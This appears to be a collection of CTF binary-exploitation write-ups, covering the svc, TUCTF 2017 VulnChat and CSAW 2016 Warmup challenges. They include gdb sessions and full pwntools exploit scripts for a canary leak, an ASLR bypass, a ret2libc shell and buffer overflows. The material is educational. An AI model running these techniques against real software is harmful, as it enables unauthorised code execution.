Here we see that our payload begins at 0x7fffffffde90 since there are only 1s 3s and 7s, although i'm not sure as to what it has been formatted to, we see that **0xa8** bytes down the stack the stack canary **0x6a77910e1ec4300** at **0x7fffffffdf38**
The next step is to defeat the ASLR. ASLR is a mitigation that randomizes the addresses sections of memory. This way when we run the program, we don't actually know where various things in memory are. While the addresses are randomized, the spacing between things are not. For instance the libc (where all the standard functions lik eputs, printf, fgets are stored most of the time) the address of **puts** and **system** will be different everytime we run the program. However the offset between them will remain the same. SO if we leak the address of **puts** we will also leak the address of **system** if we know the offset between the 2. This will allow us to break ASLR in the region where we know one memory and the offset to the next. So let's take a look at the vmmap inside of gdb while we run the binary:
gef➤ vmmap
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x0000000000400000 0x0000000000402000 0x0000000000000000 r-x /home/nothing/binexp/2/svc/svc
0x0000000000601000 0x0000000000602000 0x0000000000001000 r-- /home/nothing/binexp/2/svc/svc
0x0000000000602000 0x0000000000603000 0x0000000000002000 rw- /home/nothing/binexp/2/svc/svc
0x0000000000603000 0x0000000000624000 0x0000000000000000 rw- [heap]
0x00007ffff7a8d000 0x00007ffff7a91000 0x0000000000000000 rw-
0x00007ffff7a91000 0x00007ffff7a94000 0x0000000000000000 r-- /usr/lib/libgcc_s.so.1
0x00007ffff7a94000 0x00007ffff7aa5000 0x0000000000003000 r-x /usr/lib/libgcc_s.so.1
0x00007ffff7aa5000 0x00007ffff7aa9000 0x0000000000014000 r-- /usr/lib/libgcc_s.so.1
0x00007ffff7aa9000 0x00007ffff7aaa000 0x0000000000017000 r-- /usr/lib/libgcc_s.so.1
0x00007ffff7aaa000 0x00007ffff7aab000 0x0000000000018000 rw- /usr/lib/libgcc_s.so.1
0x00007ffff7aab000 0x00007ffff7aba000 0x0000000000000000 r-- /usr/lib/libm-2.33.so
0x00007ffff7aba000 0x00007ffff7b55000 0x000000000000f000 r-x /usr/lib/libm-2.33.so
0x00007ffff7b55000 0x00007ffff7bed000 0x00000000000aa000 r-- /usr/lib/libm-2.33.so
0x00007ffff7bed000 0x00007ffff7bee000 0x0000000000142000 --- /usr/lib/libm-2.33.so
0x00007ffff7bee000 0x00007ffff7bef000 0x0000000000142000 r-- /usr/lib/libm-2.33.so
0x00007ffff7bef000 0x00007ffff7bf0000 0x0000000000143000 rw- /usr/lib/libm-2.33.so
0x00007ffff7bf0000 0x00007ffff7c16000 0x0000000000000000 r-- /usr/lib/libc-2.33.so
0x00007ffff7c16000 0x00007ffff7d62000 0x0000000000026000 r-x /usr/lib/libc-2.33.so
0x00007ffff7d62000 0x00007ffff7dae000 0x0000000000172000 r-- /usr/lib/libc-2.33.so
0x00007ffff7dae000 0x00007ffff7db1000 0x00000000001bd000 r-- /usr/lib/libc-2.33.so
0x00007ffff7db1000 0x00007ffff7db4000 0x00000000001c0000 rw- /usr/lib/libc-2.33.so
0x00007ffff7db4000 0x00007ffff7dbd000 0x0000000000000000 rw-
0x00007ffff7dbd000 0x00007ffff7e53000 0x0000000000000000 r-- /usr/lib/libstdc++.so.6.0.28
0x00007ffff7e53000 0x00007ffff7f3f000 0x0000000000096000 r-x /usr/lib/libstdc++.so.6.0.28
0x00007ffff7f3f000 0x00007ffff7f88000 0x0000000000182000 r-- /usr/lib/libstdc++.so.6.0.28
0x00007ffff7f88000 0x00007ffff7f89000 0x00000000001cb000 --- /usr/lib/libstdc++.so.6.0.28
0x00007ffff7f89000 0x00007ffff7f96000 0x00000000001cb000 r-- /usr/lib/libstdc++.so.6.0.28
0x00007ffff7f96000 0x00007ffff7f97000 0x00000000001d8000 rw- /usr/lib/libstdc++.so.6.0.28
0x00007ffff7f97000 0x00007ffff7f9c000 0x0000000000000000 rw-
0x00007ffff7fc6000 0x00007ffff7fca000 0x0000000000000000 r-- [vvar]
0x00007ffff7fca000 0x00007ffff7fcc000 0x0000000000000000 r-x [vdso]
0x00007ffff7fcc000 0x00007ffff7fcd000 0x0000000000000000 r-- /usr/lib/ld-2.33.so
0x00007ffff7fcd000 0x00007ffff7ff1000 0x0000000000001000 r-x /usr/lib/ld-2.33.so
0x00007ffff7ff1000 0x00007ffff7ffa000 0x0000000000025000 r-- /usr/lib/ld-2.33.so
0x00007ffff7ffb000 0x00007ffff7ffd000 0x000000000002e000 r-- /usr/lib/ld-2.33.so
0x00007ffff7ffd000 0x00007ffff7fff000 0x0000000000030000 rw- /usr/lib/ld-2.33.so
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 --x [vsyscall]
Here we want to break ASLR in the **libc-2.23.so** region where we have read and write permissions, therefore at **00007ffff7bf0000**.
To do the puts function infoleak, we will need 3 things. The plt address of **puts** (address of the imported function which we will use to call it), the address of the got entry of **puts** which holds the libc address, and a **rop gadget** to pop the got entry into the rdi register, and then return.
Since the puts call expects it's input (a single char pointer) in the rdi register, that is where we need to place it. To find the **plt** and **got** addresses, we can use pwntools:
[ 192.168.0.18/24 ] [ /dev/pts/1 ] [binexp/2/svc]
→ python3
Python 3.9.2 (default, Feb 20 2021, 18:40:11)
[GCC 10.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> elf = ELF('svc')
[*] '/home/nothing/binexp/2/svc/svc'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
>>> print("plt addr:" + hex(elf.symbols['puts']))
plt addr:0x4008d0
>>> print("got addr:" + hex(elf.got['puts']))
got addr:0x602018
To find the gadget we need, let's use [ROPGadget](https://github.com/JonathanSalwan/ROPgadget) like we used in the previous challenges already
[ 192.168.0.18/24 ] [ /dev/pts/1 ] [binexp/2/svc]
→ ROPgadget --binary svc| grep "pop rdi"
0x0000000000400ea3 : pop rdi ; ret
The last mitigation we will overcome is the NX (Non executable stack), this means that the stack does not have the execute permission. SO we cannot execute code on the stack. Our method to bypass this will have to be a mix of a ROP chain, and a ret2libc (return to libc) attack. ROP is when we take bits of code that already are in the binary and make them work together in the manner that we want.
What we need here is to use ROP Gadgets, which are essentially pointers to the bits of code that end in a **ret** instruction which will make it move to the next gadget. Since these are all valid instruction pointers to code that should run, it will be markeed as executable regardless of the NX.
gef➤ p puts
$1 = {<****text variable, no debug info>} 0x7ffff7c66cd0
gef➤ p system
$2 = {<****text variable, no debug info>} 0x7ffff7c3a120
gef➤ search-pattern /bin/sh
[+] Searching '/bin/sh' in memory
[+] In '/usr/lib/libc-2.33.so'(0x7ffff7d62000-0x7ffff7dae000), permission=r--
0x7ffff7d7c966 - 0x7ffff7d7c96d → "/bin/sh"
We calculate the offsets:
[ 192.168.0.18/24 ] [ /dev/pts/9 ] [blog/binexp/2]
→ python3
Python 3.9.2 (default, Feb 20 2021, 18:40:11)
[GCC 10.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> hex( 0x7ffff7c66cd0 - 0x00007ffff7d62000 )
'-0xfb330'
>>> hex( 0x7ffff7c3a120 - 0x00007ffff7d62000 )
'-0x127ee0'
>>> hex( 0x7ffff7d7c966 - 0x00007ffff7d62000 )
'0x1a966'
and with this we can create the exploit:
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/svc]
→ vim exploit.py
from pwn import *
target = process("./svc")
gdb.attach(target)
elf = ELF('svc')
# 0x0000000000400ea3 : pop rdi ; ret
popRdi = p64(0x400ea3)
gotPuts = p64(0x602018)
pltPuts = p64(0x4008cc)
offsetPuts = 0xfb330
offsetSystem = 0x127ee0
offsetBinsh = 0x1a966
startMain = p64(0x400a96)
# Establish fucntions to handle I/O with the target
def feed(data):
print(target.recvuntil(">>"))
target.sendline(b'1')
print(target.recvuntil(">>"))
target.send(data)
def review():
print(target.recvuntil(">>"))
target.sendline(b'2')
#print target.recvuntil("[*]PLEASE TREAT HIM WELL.....\n-------------------------\n")
#leak = target.recvuntil("-------------------------").replace("-------------------------", "")
print(target.recvuntil(b"0"*0xa9))
canaryLeak = target.recv(7)
canary = u64(b"\x00" + canaryLeak)
print("canary is: " + hex(canary))
return canary
def leave():
print(target.recvuntil(">>"))
target.sendline(b"3")
# Start of with the canary leak. We will overflow the buffer write up to the stack canary, and overwrite the least signifcant byte of the canary
leakCanary = b""
leakCanary += b"0"*0xa8 # Fill up space up to the canary
leakCanary += b"0" # Overwrite least significant byte of the canary
feed(leakCanary) # Execute the overwrite
canary = review() # Leak the canary, and parse it out
# Start the rop chain to give us a libc infoleak
leakLibc = b""
leakLibc += b"0"*0xa8 # Fill up space up to the canary
leakLibc += p64(canary) # Overwrite the stack canary with itself
leakLibc += b"1"*0x8 # 8 more bytes until the return address
leakLibc += popRdi # Pop got entry for puts in rdi register
leakLibc += gotPuts # GOT address of puts
leakLibc += pltPuts # PLT address of puts
leakLibc += startMain # Loop back around to the start of main
# Send the payload to leak libc
feed(leakLibc)
# Return to execute our code
leave()
# Scan in and parse out the infoleak
print(target.recvuntil("[*]BYE ~ TIME TO MINE MIENRALS...\x0a"))
putsLeak = target.recvline().replace(b"\x0a", b"")
putsLibc = u64(putsLeak + b"\x00"*(8-len(putsLeak)))
# Calculate the needed addresses
libcBase = putsLibc - offsetPuts
systemLibc = libcBase + offsetSystem
binshLibc = libcBase + offsetBinsh
print("libc base: " + hex(libcBase))
# Form the payload to return to system
payload = b""
payload += b"0"*0xa8
payload += p64(canary)
payload += b"1"*0x8
payload += popRdi # Pop "/bin/sh" into the rdi register, where it expects it's argument (single char pointer)
payload += p64(binshLibc) # Address to '/bin/sh'
payload += p64(systemLibc) # Libc address of system
# Send the final payload
feed(payload)
target.sendline(b"3")
#feed(payload)
# Return to execute our code, return to system and get a shell
#leave()
target.interactive()
## Title
text
` ![]()
## Title
text
` ![]()

421
2/vuln.md Normal file
View file

@ -0,0 +1,421 @@
# TUCTF 2017 VulnChat
## Downloading the binary file
[ 192.168.0.18/24 ] [ /dev/pts/3 ] [binexp/2/vulnchat]
→ wget https://github.com/guyinatuxedo/nightmare/raw/master/modules/05-bof_callfunction/tu17_vulnchat/vuln-chat
--2021-03-01 09:42:07-- https://github.com/guyinatuxedo/nightmare/raw/master/modules/05-bof_callfunction/tu17_vulnchat/vuln-chat
Loaded CA certificate '/etc/ssl/certs/ca-certificates.crt'
Resolving github.com (github.com)... 140.82.121.3
Connecting to github.com (github.com)|140.82.121.3|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/05-bof_callfunction/tu17_vulnchat/vuln-chat [following]
--2021-03-01 09:42:08-- https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/05-bof_callfunction/tu17_vulnchat/vuln-chat
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.108.133, 185.199.111.133, 185.199.110.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.108.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 6092 (5.9K) [application/octet-stream]
Saving to: vuln-chat
vuln-chat 100%[================================================================>] 5.95K --.-KB/s in 0s
2021-03-01 09:42:08 (30.0 MB/s) - vuln-chat saved [6092/6092]
[ 192.168.0.18/24 ] [ /dev/pts/3 ] [binexp/2/vulnchat]
→ file vuln-chat
vuln-chat: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a3caa1805eeeee1454ee76287be398b12b5fa2b7, not stripped
[ 192.168.0.18/24 ] [ /dev/pts/3 ] [binexp/2/vulnchat]
→ chmod +x vuln-chat
` ![]()
## Solution
First step is to execute the binary to see what it does:
[ 192.168.0.18/24 ] [ /dev/pts/3 ] [binexp/2/vulnchat]
→ ./vuln-chat
----------- Welcome to vuln-chat -------------
Enter your username: nothing
Welcome nothing!
Connecting to 'djinn'
--- 'djinn' has joined your chat ---
djinn: I have the information. But how do I know I can trust you?
nothing: you can't lol
djinn: Sorry. That's not good enough
Let's inspect it in ghidra:
![](18.png)
Which gives us the following code:
undefined4 main(void)
{
undefined local_31 [20];
undefined local_1d [20];
undefined4 local_9;
undefined local_5;
setvbuf(stdout,(char *)0x0,2,0x14);
puts("----------- Welcome to vuln-chat -------------");
printf("Enter your username: ");
local_9 = 0x73303325;
local_5 = 0;
__isoc99_scanf(&local;_9,local_1d);
printf("Welcome %s!\n",local_1d);
puts("Connecting to \'djinn\'");
sleep(1);
puts("--- \'djinn\' has joined your chat ---");
puts("djinn: I have the information. But how do I know I can trust you?");
printf("%s: ",local_1d);
__isoc99_scanf(&local;_9,local_31);
puts("djinn: Sorry. That\'s not good enough");
fflush(stdout);
return 0;
}
Here we see that first we get asked for our username, and then our input text gets put into local_1d (20 bytes) and then there is another scanf which puts our input text into local_31 (20 bytes aswell). For both scanf there is another variable being used called '&local;_9' this is a format specifier whcich is stored on the stack:
![](19.png)
080485be c7 45 fb MOV dword ptr [EBP + local_9],0x73303325
25 33 30 73
here we see that an address is being called '0x73303325', and to see what it is we can just click on it and wait for ghidra to show us what it is:
![](20.png)
s03%
since we are dealing with a 32bit LSB executable, this is written in little endian (reverse or least important byte first) we get the following:
%30s
so now we know that both scanf functions take our input characters with '%30s' or '30 characters'. So let's take a look at the stack layout from ghidra:
**************************************************************
* FUNCTION *
**************************************************************
undefined main()
undefined AL:1
undefined1 Stack[-0x5]:1 local_5 XREF[1]: 080485c5(W)
undefined4 Stack[-0x9]:4 local_9 XREF[3]: 080485be(W),
080485cd(*),
08048630(*)
undefined1 Stack[-0x1d]:1 local_1d XREF[3]: 080485c9(*),
080485d9(*),
0804861b(*)
undefined1 Stack[-0x31]:1 local_31 XREF[1]: 0804862c(*)
main XREF[4]: Entry Point(*),
_start:08048487(*), 08048830,
080488ac(*)
0804858a 55 PUSH EBP
Now the second time we are prompted for text, the text gets stored into local_31 located at -0x31, the first time we get prompted for text, the text gets stored in local_1d at -0x1d. Therefore local_31 can hold 0x31 - 0x1d bytes:
[ 192.168.0.18/24 ] [ /dev/pts/52 ] [~]
→ python3
Python 3.9.2 (default, Feb 20 2021, 18:40:11)
[GCC 10.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> hex(0x31 - 0x1d)
'0x14'
now that we know that local_31 can hold 14 bytes, let's see how much the local_1d variable hold aswell: 0x1d - 0x9
>>> hex(0x1d - 0x9)
'0x14'
So both local_31 and local_1d can hold 14 bytes respectively. And since we can scan in 30 bytes of data, that gives us 16 bytes to overflow with (or 0x10 bytes)
The idea here is to first overflow with local_1d to overflow to the value of local_9 (where the %30s is written in little endian as we saw earlier). Then we will be able to specify how much data the second scanf call will scan. And with that we will be able to scan in more than enough data to overwrite the saved return address to get code execution when the ret instruction executes. Now let's check if there is a flag function in ghidra:
![](21.png)
void printFlag(void)
{
system("/bin/cat ./flag.txt");
puts("Use it wisely");
return;
}
Now with all of that, let's look at how the memory is corrupted during the exploit. First we set a breakpoint right after the second scanf call at '0x08048639':
08048634 e8 27 fe CALL __isoc99_scanf undefined __isoc99_scanf()
ff ff
08048639 83 c4 08 ADD ESP,0x8
[ 192.168.0.18/24 ] [ /dev/pts/52 ] [binexp/2/vulnchat]
→ gdb ./vuln-chat
GNU gdb (GDB) 10.1
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-pc-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
.
Find the GDB manual and other documentation resources online at:
.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
GEF for linux ready, type `gef' to start, `gef config' to configure
92 commands loaded for GDB 10.1 using Python engine 3.9
Reading symbols from ./vuln-chat...
(No debugging symbols found in ./vuln-chat)
gef➤ b *0x8048639
Breakpoint 1 at 0x8048639
gef➤ r
Starting program: /home/nothing/binexp/2/vulnchat/vuln-chat
----------- Welcome to vuln-chat -------------
Enter your username: 321654987
Welcome 321654987!
Connecting to 'djinn'
--- 'djinn' has joined your chat ---
djinn: I have the information. But how do I know I can trust you?
321654987: 987654321
Breakpoint 1, 0x08048639 in main ()
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax : 0x1
$ebx : 0x0
$ecx : 0xffffd090 → 0xf7f90540 → 0xfbad2288
$edx : 0xf7f8fe1c → 0x001eed2c
$esp : 0xffffd0b0 → 0xffffd0e3 → "%30s"
$ebp : 0xffffd0e8 → 0x00000000
$esi : 0x1
$edi : 0x08048470 → <_start+0> xor ebp, ebp
$eip : 0x08048639 → add esp, 0x8
$eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffd0b0│+0x0000: 0xffffd0e3 → "%30s" ← $esp
0xffffd0b4│+0x0004: 0xffffd0bb → "987654321"
0xffffd0b8│+0x0008: 0x39049a10
0xffffd0bc│+0x000c: "87654321"
0xffffd0c0│+0x0010: "4321"
0xffffd0c4│+0x0014: 0xffffd100 → 0xffffd134 → 0x67db6985
0xffffd0c8│+0x0018: 0xffffd19c → 0xffffd371 → "ALACRITTY_LOG=/tmp/Alacritty-3896966.log"
0xffffd0cc│+0x001c: 0x31dd8c99
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
0x8048630 lea eax, [ebp-0x5]
0x8048633 push eax
0x8048634 call 0x8048460 <__isoc99_scanf@plt>
●→ 0x8048639 add esp, 0x8
0x804863c push 0x80487ec
0x8048641 call 0x8048410
0x8048646 add esp, 0x4
0x8048649 mov eax, ds:0x8049a60
0x804864e push eax
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "vuln-chat", stopped 0x8048639 in main (), reason: BREAKPOINT
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x8048639 → main()
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤
now from here we first set the breakpoint, then ran the binary, then entered the first scanf where we put the '321654987' pattern, and then entered the second scanf where we put the '987654321' pattern, and then we hit the breakpoint we set. Now we want to inspect what happened to our second text input, the pattern '987654321' so we search the pattern in the memory:
gef➤ search-pattern 987654321
[+] Searching '987654321' in memory
[+] In '[heap]'(0x804a000-0x806c000), permission=rw-
0x804a1a0 - 0x804a1ab → "987654321\n"
[+] In '[stack]'(0xfffdd000-0xffffe000), permission=rw-
0xffffd0bb - 0xffffd0c4 → "987654321"
Now we know that our second text input pattern is at **0xffffd0bb** let's search for the pattern '%30s':
gef➤ search-pattern %30s
[+] Searching '%30s' in memory
[+] In '/home/nothing/binexp/2/vulnchat/vuln-chat'(0x8048000-0x8049000), permission=r-x
0x80485c1 - 0x80485c5 → "%30s[...]"
[+] In '/home/nothing/binexp/2/vulnchat/vuln-chat'(0x8049000-0x804a000), permission=rw-
0x80495c1 - 0x80495c5 → "%30s[...]"
[+] In '[stack]'(0xfffdd000-0xffffe000), permission=rw-
0xffffd0e3 - 0xffffd0e7 → "%30s"
Now we know that the format string is stored at**0xffffd0e3** so let's see where our first input text is with the pattern 321654987:
gef➤ search-pattern 321654987
[+] Searching '321654987' in memory
[+] In '[stack]'(0xfffdd000-0xffffe000), permission=rw-
0xffffb06c - 0xffffb086 → "321654987: 654987!\nname: "
0xffffd0cf - 0xffffd0d8 → "321654987"
so now we know that our first text pattern (321654987) is located at **0xffffd0cf** so let's calculate the offset:
[ 192.168.0.18/24 ] [ /dev/pts/54 ] [binexp/2/vulnchat]
→ python3
Python 3.9.2 (default, Feb 20 2021, 18:40:11)
[GCC 10.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> hex(0xffffd0e3 - 0xffffd0cf )
'0x14'
so now we know that our first input text (321654987) is 0x14 bytes (or 20 bytes) away from the format string variable value '%30s', our second input begins at **0xffffd0bb** , but we need to know where the return address is and what the offset between our second input and the return address is:
gef➤ x/14x 0xffffd0bb
0xffffd0bb: 0x36373839 0x32333435 0xffd10031 0xffd19cff
0xffffd0cb: 0xdd8c99ff 0x34333231 0x38373635 0x04860039
0xffffd0db: 0x00000008 0x00000100 0x73303325 0x00000000
0xffffd0eb: 0xdbfa0d00 0x000001f7
gef➤ i f
Stack level 0, frame at 0xffffd0f0:
eip = 0x8048639 in main; saved eip = 0xf7dbfa0d
Arglist at 0xffffd0e8, args:
Locals at 0xffffd0e8, Previous frame's sp is 0xffffd0f0
Saved registers:
ebp at 0xffffd0e8, eip at 0xffffd0ec
Here we see that the return address is at **0xffffd0ec** so we calculate the offset between our second input **0xffffd0bb** and the return address:
[ 192.168.0.18/24 ] [ /dev/pts/54 ] [binexp/2/vulnchat]
→ python3
Python 3.9.2 (default, Feb 20 2021, 18:40:11)
[GCC 10.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> hex(0xffffd0ec - 0xffffd0bb)
'0x31'
So there is exactly 31 bytes between the second input and the return address, so this is a hint that the default 30 bytes of second input will not be able to reach it, that's why the first input is there to reach the %30s value beforehand to change it. From here we can make the following exploit:
[ 192.168.0.18/24 ] [ /dev/pts/54 ] [binexp/2/vulnchat]
→ vim exploit.py
from pwn import *
target = process ('./vuln-chat')
#print the initial text
print(target.recvuntil("username: "))
#form the first payload to overwrite the %30s value
payload0 = b""
payload0 += b"\x00" * 0x14 #fill up the space with 0x14 nullbytes until the %30s format string value
payload0 += b"%99s" #overwrite %30s with %99s
#send the first payload through the first scanf
#print(payload0)
target.sendline(payload0)
# Print the text up to the second scanf call
print(target.recvuntil("I know I can trust you?"))
#write the second payload to overwrite the return address with the print_flag function address
payload1 = b""
payload1 += b"\x00" * 0x31 #fill up the space until the return address with (0x31 nullbytes)
payload1 += p32(0x804856b) #write the address of print_flag in little endian 32 bits
#send the second payload through the second scanf
#print(payload1)
target.sendline(payload1)
#drop into an interactive shell to view the rest of the output
target.interactive()
The plan here is to first push shellcode onto the stack, and we know where it is thanks to the memory address that's given to us, then we fill the gap with nullbytes, and then overwrite the return address to point to the start of our shellcode
[ 192.168.0.18/24 ] [ /dev/pts/55 ] [binexp/2/vulnchat]
→ python3 exploit.py
[+] Starting local process './vuln-chat': pid 2786552
b'----------- Welcome to vuln-chat -------------\nEnter your username: '
b"Welcome !\nConnecting to 'djinn'\n--- 'djinn' has joined your chat ---\ndjinn: I have the information. But how do I know I can trust you?"
[*] Switching to interactive mode
: djinn: Sorry. That's not good enough
flag{g0ttem_b0yz}
Use it wisely
[*] Got EOF while reading in interactive
$
And our exploit worked! We have been able to print the flag.
## Title
text
` ![]()
## Title
text
` ![]()

320
2/warm.md Normal file
View file

@ -0,0 +1,320 @@
# CSAW 2016 Warmup
## Downloading the binary file:
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/warmup]
→ wget https://github.com/guyinatuxedo/nightmare/raw/master/modules/05-bof_callfunction/csaw16_warmup/warmup
--2021-02-27 11:02:37-- https://github.com/guyinatuxedo/nightmare/raw/master/modules/05-bof_callfunction/csaw16_warmup/warmup
Resolving github.com (github.com)... 140.82.121.4
Connecting to github.com (github.com)|140.82.121.4|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/05-bof_callfunction/csaw16_warmup/warmup [following]
--2021-02-27 11:02:38-- https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/05-bof_callfunction/csaw16_warmup/warmup
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.110.133, 185.199.109.133, 185.199.111.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.110.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 8705 (8.5K) [application/octet-stream]
Saving to: warmup
warmup 100%[=======================================================================================================================================================================================================>] 8.50K --.-KB/s in 0.001s
2021-02-27 11:02:38 (7.11 MB/s) - warmup saved [8705/8705]
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/warmup]
→ file warmup
warmup: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=ab209f3b8a3c2902e1a2ecd5bb06e258b45605a4, not stripped
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/warmup]
→ chmod +x warmup
` ![]()
## Solution
first of all let's see what we get when we run the binary file:
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/warmup]
→ ./warmup
-Warm Up-
WOW:0x40060d
>something
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/warmup]
→ ./warmup
-Warm Up-
WOW:0x40060d
>something2
First there is some text getting displayed, we get an address '0x40060d', then we get prompted for text input and nothing after that. So let's check what the binary file looks like in ghidra:
![](14.png)
void main(void)
{
char local_88 [64];
char local_48 [64];
write(1,"-Warm Up-\n",10);
write(1,&DAT;_0040074c,4);
sprintf(local_88,"%p\n",easy);
write(1,local_88,9);
write(1,&DAT;_00400755,1);
gets(local_48);
return;
}
Here we see the main function disassembled code, which is rather simplistic, we also see that our input text gets put into the local_48 variable at -0x48 on the stack:
**************************************************************
* FUNCTION *
**************************************************************
undefined main()
undefined AL:1
undefined1 Stack[-0x48]:1 local_48 XREF[1]: 00400692(*)
undefined1 Stack[-0x88]:1 local_88 XREF[2]: 0040064d(*),
00400668(*)
main XREF[5]: Entry Point(*),
_start:0040053d(*),
_start:0040053d(*), 0040077c,
00400830(*)
0040061d 55 PUSH RBP
However most importantly, we see that the address being printed is the address of the function called 'easy' at 0x40060d
![](15.png)
this function is supposed to print the contents of flag.txt for us. Now before that, in the main function we see that our local_48 input text variable gets passed through a 'gets' function, this is a bug because it does not limit how much data it scans in. We also see the following:
void main(void)
{
char local_88 [64];
char local_48 [64];
our local input variable (local_48) can only hold 64 bytes of data, after we write those 64 bytes of data, we overflow the buffer and start overwriting other things in memory. With this bug we can reach the return address (the address after the ret call) and with this we want to make use of the 'easy function to print us the flag. so let's use gdb to see how much data we need to send BEFORE overwriting the return address:
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/warmup]
→ gdb warmup
GNU gdb (Debian 10.1-1.7) 10.1.90.20210103-git
Copyright (C) 2021 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
.
Find the GDB manual and other documentation resources online at:
.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
GEF for linux ready, type `gef' to start, `gef config' to configure
92 commands loaded for GDB 10.1.90.20210103-git using Python engine 3.9
Reading symbols from warmup...
(No debugging symbols found in warmup)
gef➤
gef➤ disas main
Dump of assembler code for function main:
0x000000000040061d <+0>: push rbp
0x000000000040061e <+1>: mov rbp,rsp
0x0000000000400621 <+4>: add rsp,0xffffffffffffff80
0x0000000000400625 <+8>: mov edx,0xa
0x000000000040062a <+13>: mov esi,0x400741
0x000000000040062f <+18>: mov edi,0x1
0x0000000000400634 <+23>: call 0x4004c0
0x0000000000400639 <+28>: mov edx,0x4
0x000000000040063e <+33>: mov esi,0x40074c
0x0000000000400643 <+38>: mov edi,0x1
0x0000000000400648 <+43>: call 0x4004c0
0x000000000040064d <+48>: lea rax,[rbp-0x80]
0x0000000000400651 <+52>: mov edx,0x40060d
0x0000000000400656 <+57>: mov esi,0x400751
0x000000000040065b <+62>: mov rdi,rax
0x000000000040065e <+65>: mov eax,0x0
0x0000000000400663 <+70>: call 0x400510
0x0000000000400668 <+75>: lea rax,[rbp-0x80]
0x000000000040066c <+79>: mov edx,0x9
0x0000000000400671 <+84>: mov rsi,rax
0x0000000000400674 <+87>: mov edi,0x1
0x0000000000400679 <+92>: call 0x4004c0
0x000000000040067e <+97>: mov edx,0x1
0x0000000000400683 <+102>: mov esi,0x400755
0x0000000000400688 <+107>: mov edi,0x1
0x000000000040068d <+112>: call 0x4004c0
0x0000000000400692 <+117>: lea rax,[rbp-0x40]
0x0000000000400696 <+121>: mov rdi,rax
0x0000000000400699 <+124>: mov eax,0x0
0x000000000040069e <+129>: call 0x400500
0x00000000004006a3 <+134>: leave
0x00000000004006a4 <+135>: ret
gef➤ b *main +134
Breakpoint 1 at 0x4006a3
here we want the first breakpoint right before the return call at +134, then we run the binary:
gef➤ r
Starting program: /home/nothing/binexp/2/warmup/warmup
-Warm Up-
WOW:0x40060d
>13371337
Breakpoint 1, 0x00000000004006a3 in main ()
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x00007fffffffe0b0 → "13371337"
$rbx : 0x0
$rcx : 0x00007ffff7fac980 → 0x00000000fbad2288
$rdx : 0x0
$rsp : 0x00007fffffffe070 → "0x40060d\n"
$rbp : 0x00007fffffffe0f0 → 0x00000000004006b0 → <__libc_csu_init+0> push r15
$rsi : 0x31373333
